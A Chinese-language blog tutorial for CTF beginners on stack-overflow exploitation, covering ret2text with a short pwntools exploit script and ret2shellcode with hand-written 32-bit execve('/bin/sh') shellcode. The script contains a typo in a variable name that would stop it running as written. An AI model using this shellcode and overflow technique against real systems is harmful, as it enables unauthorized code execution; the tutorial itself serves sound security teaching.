栈溢出漏洞利用一,详解基本ROP,构造rop链条实现攻击(pwn入门)

写在前面:

随着 NX (Non-eXecutable) 保护的开启,传统的直接向栈或者堆上直接注入代码的方式难以继续发挥效果,由此攻击者们也提出来相应的方法来绕过保护。

目前被广泛使用的攻击手法是 返回导向编程 (Return Oriented Programming),其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

gadgets 通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。

使用 ROP 攻击一般得满足如下条件:

  • 程序漏洞允许我们劫持控制流,并控制后续的返回地址。

  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

作为一项基本的攻击手段,ROP 攻击并不局限于栈溢出漏洞,也被广泛应用在堆溢出等各类漏洞的利用当中。

需要注意的是,现代操作系统通常会开启地址随机化保护(ASLR),这意味着 gadgets 在内存中的位置往往是不固定的。但幸运的是其相对于对应段基址的偏移通常是固定的,因此我们在寻找到了合适的 gadgets 之后可以通过其他方式泄漏程序运行环境信息,从而计算出 gadgets 在内存中的真正地址。

之前的文章都有涉及到如何泄露pie基址和libc基地址:栈上的格式化字符串漏洞【超详细,六种利用】(pwn入门)-CSDN博客

ret2libc 泄露libc后构造system(‘/bin/sh‘)进行攻击(pwn入门)-CSDN博客

1.ret2text

这种攻击手法是最最常见也是最基础的攻击手法,就是直接打程序给的后门函数就行

直接利用例题讲解呗

一键3连,64位程序,开了NX保护,程序运行,给了一次输入

接着分析下程序后门和字符串,看字符串明显有程序后门,同时也自动识别出来了程序的后门backdoor,我们直接打就行,

下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。

可以看到,读入函数的位置,我们需要调试,直接下断点在scanf处,查看rbp.rsp

可以看到rsp为0x7fffffffdfc0,rbp为0x7fffffffdfe0

输入的数据到达的位置就是rsp

所以偏移就是16进制的rbp-rsp,也就是0x20

因此最后的 payload 如下:

from pwn import * 
p = process('./pwn')

elf = ELF('pwn')
backdoor = 0x400708

padding = 0x20 + 8

payload = b'a'*padding+p64(backdooOoOr)
p.sendline(payload)
p.interactive()

其实可以直接在IDA中看出偏移,不需要计算,但是,这个原理是很重要的,刚开始最好还是利用调试来自己算偏移量,不要直接看算好的,因为调试这个技能在后面真的非常非常重要,所以要养成调试看数据信息的习惯。

2.shellcode注入

在更简单的一类题目ret2text中,我们主要的尝试是修改某个返回地址修改,修改到程序固有的后门函数处,劫持程序控制流以期返回后门。然而,如果程序中并不存在这样的后门函数,那么很朴素的想法是,能不能自己写一段后门函数,然后劫持程序控制流返回执行这段恶意代码呢?

可以的,这就可以用到shellcode注入

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用

本来其实这个对汇编的要求很高,需要自己手写shellcode的汇编代码,但是有craft这个集成化工具,可以自动帮你写好shellcode,直接用就行,但是依旧是那句话,最开始最好是理解真正的原理是什么,不要直接用这个工具,所以例题讲解就只讲手写汇编代码,汇编的基础的话这里就稍微提一点最重要的就行:

mov rax, 0x50
翻译:将0x50这个十六进制数赋值给rax寄存器。若rax原本值为0x40,mov rax, 0x50后则变为0x50
寄存器:一个临时储存数据的东西

add rax, 0x50
翻译:将0x50这个十六进制数加到rax寄存器。若rax原本值为0x40,add rax, 0x50后则变为0x90

push rax
翻译:将rax中的值推进栈中
栈:一个临时储存数据的东西

pop rax
翻译:将栈中此时储存的数据拿出放进rax中

xor al,0x50
翻译:对al寄存器中的数进行“异或”操作,与0x50进行异或。
al寄存器:rax寄存器一共有8个字节:11 22 33 44 55 66 77 88,al就是的最低的1个字节,也就是88的那个字节。ah是77的那个字节,ax是77 88,eax是55 66 77 88。
异或:
0x50是十六进制数,转化为二进制数是0101 0000
假设此时al中的数为0x10,转化为二进制数是0001 0000
0101 0000
0001 0000
上下对每个比特进行比较,如果相同,则为0,不同,则为1。第一个比特,相同,所以结果为0。第二个比特,不同,所以结果为1,如此比较下去,得到结果:
0100 0000
这个值为0x40就是最终的结果。
需要注意的是,异或并不代表是相减,只是这里刚好是相减的值而已,异或有时候不会是相减的值!
一个数,异或同一个数两次,会回到原来的这个数。
例如将刚刚的0x40再异或0x10一次,又会变回0x50

xor eax, dword ptr [rdx + 0x30]
翻译:将rdx寄存器中储存的地址加0x30后,取这个地址中储存的值,将这个值与eax进行异或。
rdx寄存器:寄存器的一种。
dword ptr [ ]:指针。指向某个地址中的值。例如,在0x66660000这个地址中存放了一个值,这个值是0x1234,那么取的就是这个0x1234,而不是0x66660000,如果是xor eax, rdx + 0x30,取的就是这个0x66660000

xor al, byte ptr [rdx + 0x30]
翻译:将rdx寄存器中储存的地址加0x30后,取这个地址中储存的值,将这个值与al进行异或。
与上面的不同点:byte和al。byte和al代表取一个字节,dword和eax代表取四个字节。此外,还有word和ax(两个字节),qword和rax(八个字节)。如果该地址中的值为:11 22 33 44 55 66 77 88,byte取的是88,将0x88与al寄存器异或。word取的是77 88,dword取的是55 66 77 88,qowrd取全部。

依旧是直接利用例题讲解呗

讲下32位的shellcode怎么编写

前置知识:

①对于32位程序而言,我们最后系统调用采用的并不是syscall,而是int 0x80

②我们传参的前三个寄存器分别是ebx,ecx,edx

③32位的execve系统调用号是11,并且存储系统调用后的寄存器是eax。32位的系统调用号可以查看这个文件/usr/include/x86_64-linux-gnu/asm/unistd_32.h

首先是

xor ecx,ecx
xor edx,edx

清空两个参数为0的寄存器

然后是

xor ebx,ebx 
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp

此时把参数/bin/sh压入栈,最开始push ebx是先压入栈中一个0,用来字符串截断。最后将esp指向的地址赋给了ebx,此时ebx的值就是/bin/sh的地址。

此时栈中的情况就是这样,/bin/sh与/bin//sh的效果一样,至于为什么要存入字符串的时候,要反着写,自己去研究下32位和64位的特点就知道了。

最后是

xor eax,eax
push 11
pop eax
int 0x80

现在是把系统调用号存进去并且进行了系统调用

最后把这三部分结合一下效果如下。

xor ecx,ecx
xor edx,edx
xor ebx,ebx 
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
push 11
pop eax
int 0x80

根据64位的特点也可以编写64位的shellcode,大体思路也是相同的,按照这个思路也可以写出来,可以自己尝试下。

写在最后:

基本ROP攻击手法的话其实还有一个最常用的,比赛经常出现的,也就是打syscall的ROP攻击链没有提到,下次有时间讲下打syscall的攻击手法,但是只有先把上面的两个ROP链的攻击手法会懂了,尤其是ret2shellcode,才能够有可能真正理解syscall的ROP攻击链,其实我自己对于ret2shellcode也仅仅是学了个入门而已,还有很多不懂的,还在学习ing.

参考文章:CTF Wiki

  • 27
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值